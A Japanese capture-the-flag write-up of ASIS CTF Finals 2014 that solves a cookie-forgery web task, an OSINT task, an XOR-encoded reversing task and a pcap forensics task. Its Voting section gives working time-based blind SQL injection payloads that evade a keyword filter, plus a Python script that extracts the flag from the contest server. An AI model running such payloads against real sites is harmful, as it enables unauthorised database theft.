ASIS CTF Finals 2014 Writeup

日本時間の10/11~13で ASIS CTF Finals 2014 が開催された。
本戦出場権がなくても参加可能であり、某チームで参加してきたのでWriteup。

全体的にはstegoがやたら難しかったのと、バイナリはx86-64が多くてしっかり見れなかったイメージ。
苦手アーキがあるとダメだな。。

Lottery

Web問題。
まずはページにアクセスする。
1234567890番目にアクセスするとご褒美がもらえる模様。

f:id:f_rin:20141014031551p:plain

もう一度アクセスしてみると、「何度目の訪問者か」が表示される。
1234567890番目には程遠い。

f:id:f_rin:20141014031601p:plain

ここで、リクエストの Cookie を表示してみると、それっぽいCookie "Visitor" が存在することがわかる。

f:id:f_rin:20141014031609p:plain

この値をbase64decodeすると、以下の値になっていることがわかる。

[rintaro@rintaro_PC] $ echo "Nzg3OjM2MjFmMTQ1NGNhY2Y5OTU1MzBlYTUzNjUyZGRmOGZi"|base64 -d
787:3621f1454cacf995530ea53652ddf8fb% 

左がカウンターで、右がそのMD5になっているため、
左を1234567890、右をそのMD5にしたものを "Visitor" にセットしてアクセスしたらFlagが出力された。

1234567890:e807f1fcf82d132f9bb018ca6738a19f
↓
MTIzNDU2Nzg5MDplODA3ZjFmY2Y4MmQxMzJmOWJiMDE4Y2E2NzM4YTE5Zg%3D%3D

f:id:f_rin:20141014031618p:plain

Flag.

ASIS_9f1af649f25108144fc38a01f8767c0c 

Fact or Real?

Recon、いわゆるネットストーキングの問題。
問題文は、

ASIS_md5(motto) 

なにかのモットーを答えれば良い。
Fact or Real のキーワードで探していくと、Twitterアカウントの @factoreal というものが ASIS-CTF manager のアカウントで存在することがわかる。

[このツイート]MD5して答えると正解だった。

f:id:f_rin:20141014031631p:plain

Flag.

ASIS_d25b9c2f1c29e49e81e8fdfaf4d16fc6

Lion Cub

reversing 問題。
これはバイナリ解析しているときに、他の方に解析結果出してもらったので、実はそこまで仕事してない(ぇ
けど取り組んだので紹介する。

問題文

Flag is encrypted using this program, can you find it?
simple_f0455e55c1d236a28387d04d5a8672ad.tar

問題を取得し、解凍すると "flag.enc" という暗号ファイルと x86-64 のELFファイルが出てくる。

[rintaro@rintaro_PC] $ file simple_5c4d29f0e7eeefd7c770a22a93a1daa9
simple_5c4d29f0e7eeefd7c770a22a93a1daa9: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=ab7a63652b0602fb5e73b31aa0cecbf1466bb719, stripped
[rintaro@rintaro_PC] $ 

x64は、慣れた逆アセンブラがないなーと思いながらGDBで追いかける。
しかもC++だ…。
バイナリを見ていると、

400c2c あたりから、 "flag" というファイルから値を取ってきて、変換し、 "flag.enc" というファイルに出力しているみたい。

gdb-peda$ x/80i 0x400c2c
=> 0x400c2c:	mov    esi,0x400eec     # 文字列 "flag" を読み込み
   0x400c31:	mov    rdi,rax
   0x400c34:	call   0x400ab0 <_ZNSt14basic_ifstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode@plt>
   0x400c39:	lea    rax,[rbp-0x440]
   0x400c40:	mov    rdi,rax
   0x400c43:	call   0x400ac0 <_ZNSt14basic_ofstreamIcSt11char_traitsIcEEC1Ev@plt>

   ……

   0x400cd1:	lea    rax,[rbp-0x240]
   0x400cd8:	mov    rsi,rcx
   0x400cdb:	mov    rdi,rax
   0x400cde:	call   0x400a50 <_ZNSi4readEPcl@plt>  # std::istream::read を呼び出し

   ……

   0x400d05:	mov    eax,DWORD PTR [rbp-0x14]       # ループカウンタ取得
   0x400d08:	movsxd rdx,eax
   0x400d0b:	mov    rax,QWORD PTR [rbp-0x20]       # "flag" から読み込んだ文字列ロード
   0x400d0f:	add    rax,rdx
   0x400d12:	movzx  edx,BYTE PTR [rax]             # 1文字取り出して
   0x400d15:	mov    eax,DWORD PTR [rbp-0x14]
   0x400d18:	cdqe   
   0x400d1a:	lea    rcx,[rax+0x1]
   0x400d1e:	mov    rax,QWORD PTR [rbp-0x20]
   0x400d22:	add    rax,rcx
   0x400d25:	movzx  eax,BYTE PTR [rax]             # 1文字次の値も取り出して
   0x400d28:	xor    eax,edx                        # その2つを XOR
   0x400d2a:	movsx  edx,al
   0x400d2d:	lea    rax,[rbp-0x440]
   0x400d34:	mov    esi,edx
   0x400d36:	mov    rdi,rax
   0x400d39:	call   0x400a40 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_c@plt>
   0x400d3e:	add    DWORD PTR [rbp-0x14],0x1       # ループカウンタをインクリメント
   0x400d42:	lea    rax,[rbp-0x30]
   0x400d46:	mov    rdi,rax
   0x400d49:	call   0x400e22
   0x400d4e:	sub    eax,0x1
   0x400d51:	cmp    eax,DWORD PTR [rbp-0x14]
   0x400d54:	setg   al
   0x400d57:	test   al,al
   0x400d59:	jne    0x400d05

   ……

要するに、"flag" ファイルから、 flag[i] ^ flag[i+1] の処理をして flag.enc を生成している。
ここらへんまで読んでいたら、他の方が復元ファイルを作ってくれていた。
なんか復元部分がメインのような気もするが、先に進む。

f:id:f_rin:20141014031646p:plain

QRコードpngファイルなので、それを読むと、

1f8b0808928d2f540003666c61672e706e67000192016dfe89504e470d0a
1a0a0000000d494844520000006f0000006f0103000000d80b0c23000000
06504c5445000000ffffffa5d99fdd0000000274524e53ffffc8b5dfc700
0000097048597300000b1200000b1201d2dd7efc0000012449444154388d
d5d431ae84201006e079b1a0d30b90cc35e8b8925e40e5027a253aae41e2
05b0a320ce1bb2bbef651b87668b25167e0501867f007a1bf01d4c004be8
76af0150e449650a71087aa1067afee9762aa36ae2a8746f7523674bbb2f
4de4250c12fd6ff2867cde2968fefe8e7f431e17943af155d81b26d06068
b3dd661a68d005987cfc219997e23b8ab3c24bc9a4808e3acab4da065204
a541e166506402e4592ec71148e499cbe0f914b42a99c91eb59221824591
e4613475b9dd93c804e4087a13472bf3ac05e7781f6b0b0326551be77147
02b35e38540a0064f2481c6fc2d3cbe4c472bc5dd613c9e45e98a10c19cf
576bdc915b9213cbbb524d9c88d73ab667ad44d667e419957b72ffdace79
bc8ccc47fff696eb2ff3734feea7f80bb686232e7a493424000000004945
4e44ae426082fb73fb8e92010000

最初の"1f 8b"で、どう見てもgzipです。(←これ、一度は言ってみたかった)
このとおりのバイト列でgzipファイルを作成し、解凍すると、flag.png が展開される。

f:id:f_rin:20141014031654p:plain

これを読み込むとFlagが表示された。

ASIS_e87b556efc59f8351aec0858da850906

大会中には "flag" ファイル逆算は書きませんでした。
読むの遅いからなぁ。。

(追記)大会後だが、どうせなので復元スクリプト書いてみた。

import os

f=open('flag.enc', 'r')
data = f.read()
f.close()

for i in range(0x100):
	os.system('touch flag_' + str(i))
	f_o=open('flag_' + str(i), 'r+b')

	f_o.write(chr(i))
	for j in range(len(data)):
		seed = data[j]
		xored = i^ord(seed)
		f_o.write(chr(xored))
		i = xored

	f_o.close()

このあと、flag_xxx に対してループでfileコマンドを仕掛けると gzip になってるやつがいて、それを解凍すると最初のQRコードpngファイルが展開されるというものだった。

Capsule

NW問題。

Find the flag in this file.
capsule_239acad5fcfe4722e624da66c9c02542 

ファイルが与えられ、見てみるとpcapngファイルになってる。

[rintaro@rintaro_PC] $ file capsule_239acad5fcfe4722e624da66c9c02542
capsule_239acad5fcfe4722e624da66c9c02542: pcap-ng capture file - version 1.256

だが、壊れていてWiresharkではうまく開くことができない。
f:id:f_rin:20141014031703p:plain

pcapfixを使って復元する。

C:\Users\rintaro\Documents\security\tool\pcapfix-1.0.2-win32> .\pcapfix -n capsule_239acad5fcfe4722e624da66c9c02542.pcapng

中身を見るとAFPとかいうやつでやりとりされている。
"dsi"でフィルターし、Lengthでソート。

flagないかなーと思いながら、画像ファイルの復元をしていっている途中で、テキストのResponseの中に怪しい文字列を発見する。

f:id:f_rin:20141014032433p:plain

    _    ____ ___ ____     _____ _  ___   __       ___  _     _       ___      _     _ _  _    __        ___         ___      _           _  _  _____          _                 ___  _    ____   ___  
   / \  / ___|_ _/ ___|   |___ // |( _ ) / _| ___ / _ \| |__ / | ___ / _ \  __| | __| | || |  / _| __ _ / _ \  __ _ ( _ )  __| | ___ __ _| || ||___ /  ___  __| | __ _  ___ ___ ( _ )| |__|___ \ / _ \
  / _ \ \___ \| |\___ \     |_ \| |/ _ \| |_ / _ \ | | | '_ \| |/ __| | | |/ _` |/ _` | || |_| |_ / _` | | | |/ _` |/ _ \ / _` |/ __/ _` | || |_ |_ \ / _ \/ _` |/ _` |/ __/ _ \/ _ \| '_ \ __) | | | |
 / ___ \ ___) | | ___) |   ___) | | (_) |  _|  __/ |_| | |_) | | (__| |_| | (_| | (_| |__   _|  _| (_| | |_| | (_| | (_) | (_| | (_| (_| |__   _|__) |  __/ (_| | (_| | (_|  __/ (_) | |_) / __/| |_| |
/_/   \_\____/___|____/___|____/|_|\___/|_|  \___|\___/|_.__/|_|\___|\___/ \__,_|\__,_|  |_| |_|  \__,_|\___/ \__,_|\___/ \__,_|\___\__,_|  |_||____/ \___|\__,_|\__,_|\___\___|\___/|_.__/_____|\___/
                     |_____|                                                                                                                                                                          

ということで答え。

ASIS_318fe0b1c0dd4fa0a8dca43edace8b20

Voting

これもWeb問題。
アクセスすると、OSの種類を聞かれる。

f:id:f_rin:20141014031720p:plain

普通に回答すると、投票結果が表示される。
Cookieなどは使っておらず、純粋に値をPOSTするだけのアプリケーションの模様。

f:id:f_rin:20141014031726p:plain

POSTする値を改竄し、"win" のところを "win'" としてみると、SQL Syntaxエラーとなる。
特にSQL結果を表示する箇所もないため、Blind SQLi であることがわかる。

f:id:f_rin:20141014031732p:plain

予約語は1度エスケープされる仕様らしく、次のように送るとSQLが成功する。

win' AANDND 'a' = 'a

さらに、Blind SQLi の判定に何か使えないか探していたら、徳丸さんのブログが引っかかる。さすが徳丸さん。

ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012

sleep関数で判定できそうなので、これでSQL成否の判定をすることにする。
1=1の部分を判定したいSQLに置換して確認する。

win' AANDND (SESELECTLECT if(1=1,sleep(5),nunullll)) AANDND 'a' = 'a 

あとは肝心なテーブル内容読み出しだ。
MySQL なので、information_schemaにアクセスしようとしても、どうしてもうまくいかない。。。
と思ったら、"information_schema" の文字列の "or" がエスケープされているようだ。
(これ発見するまでに時間すごいかけた)
さらに普通のSELECTだとロックされていると怒られるので、最終的には次のような構文とした。

win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM infoorrmation_schema.columns WHWHEREERE TABLE_NAME LIKE '%FLAG%' LOCK IN SHARE MODE) > 0,sleep(5),nunullll)) AANDND 'a' = 'a

これでテーブル名がひっかかった。
"%FLAG%" のところを "%FLAG" → "____FLAG" とかに絞っていく。
このやり方でテーブル名、カラム名、テーブルスキーマ名を特定していく。これは手動では面倒なのでスクリプトでやっていった。
すると、それぞれ

であることがわかる。
最終的には、flagは以下のLIKE文でひっかかる。

win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM poll.tbl_flag WHWHEREERE FLAG LIKE 'ASIS_________________________________' LOCK IN SHARE MODE) > 0,sleep(5),nunullll)) AANDND 'a' = 'a

ここまでわかれば、あとはスクリプトを回すだけ。
整形してないけど載せておく。

#!/usr/bin/env python
import urllib,urllib2
import time

url = 'http://asis-ctf.ir:12441/index.php'
flg = ["A","S","I","S","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_"]
characters=list('abcdefABCDEF1234567890')
i=5
j=0

while True:
	s = characters[j]
	flg[i] = s
	os = "win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM poll.tbl_flag WHWHEREERE FLAG LIKE '"+"".join(flg)+"' LOCK IN SHARE MODE) > 0,sleep(10),nunullll)) AANDND 'a' = 'a"
	params = {'os' : os,
				'submit' : 'Submit' }

	params = urllib.urlencode(params)
	req = urllib2.Request(url)

	# add header
	req.add_header('Content-Type', 'application/x-www-form-urlencoded')
	req.add_header('Referer', 'http://asis-ctf.ir:12441/index.php')

	# add parameter
	req.add_data(params)

	try:
		start = time.time()
		res = urllib2.urlopen(req)
		body = res.read()
		elasped = time.time() - start
		j+=1
		if int(elasped) >= 10:
			i+=1
			j=0
			print "".join(flg)
		elif s == '0':
			flg[i] = '_'
			i+=1
			j=0
			print "".join(flg)
	except urllib2.HTTPError, e:
		print e.reason
		print e.code
		print e.read()
		break

	if 37 == i: break
[rintaro@rintaro_PC] $ python post_search_info.py
ASIS_1_______________________________
ASIS_1d______________________________
ASIS_1dc_____________________________
ASIS_1dc3____________________________
ASIS_1dc33___________________________
ASIS_1dc337__________________________
ASIS_1dc337d_________________________
ASIS_1dc337d6________________________
ASIS_1dc337d61_______________________
ASIS_1dc337d61d______________________
ASIS_1dc337d61da_____________________
ASIS_1dc337d61dac____________________
ASIS_1dc337d61dac5___________________
ASIS_1dc337d61dac5c__________________
ASIS_1dc337d61dac5cb_________________
ASIS_1dc337d61dac5cb9________________
ASIS_1dc337d61dac5cb91_______________
ASIS_1dc337d61dac5cb910______________
ASIS_1dc337d61dac5cb910e_____________
ASIS_1dc337d61dac5cb910eb____________
ASIS_1dc337d61dac5cb910eb5___________
ASIS_1dc337d61dac5cb910eb5b__________
ASIS_1dc337d61dac5cb910eb5b8_________
ASIS_1dc337d61dac5cb910eb5b8c________
ASIS_1dc337d61dac5cb910eb5b8c1_______
ASIS_1dc337d61dac5cb910eb5b8c17______
ASIS_1dc337d61dac5cb910eb5b8c17c_____
ASIS_1dc337d61dac5cb910eb5b8c17c5____
ASIS_1dc337d61dac5cb910eb5b8c17c52___
ASIS_1dc337d61dac5cb910eb5b8c17c52f__
ASIS_1dc337d61dac5cb910eb5b8c17c52fe_
ASIS_1dc337d61dac5cb910eb5b8c17c52fef
[rintaro@rintaro_PC] $ 

Blind SQLi の問題に初めて遭遇したけど楽しかった。
ハマったところは以下。

  • エスケープ処理が予期しないところに入っていた
  • FROM句の後には "スキーマ名"."テーブル名"の指定が必要(これも気づかなくてTBL_FLAGの読み出しに時間かかった…)


他にも取り組んでいたけど、メインでやっていたわけではないので割愛。
アセンブラがことごとく x86-64 で、このままじゃヤバイと危機感を感じた。
GDBだけで見るのも時間かかるしなぁ。

CTFを始めて1年ぐらい経ってしまったし、他のアーキテクチャにも慣れはじめようと思う大会だった。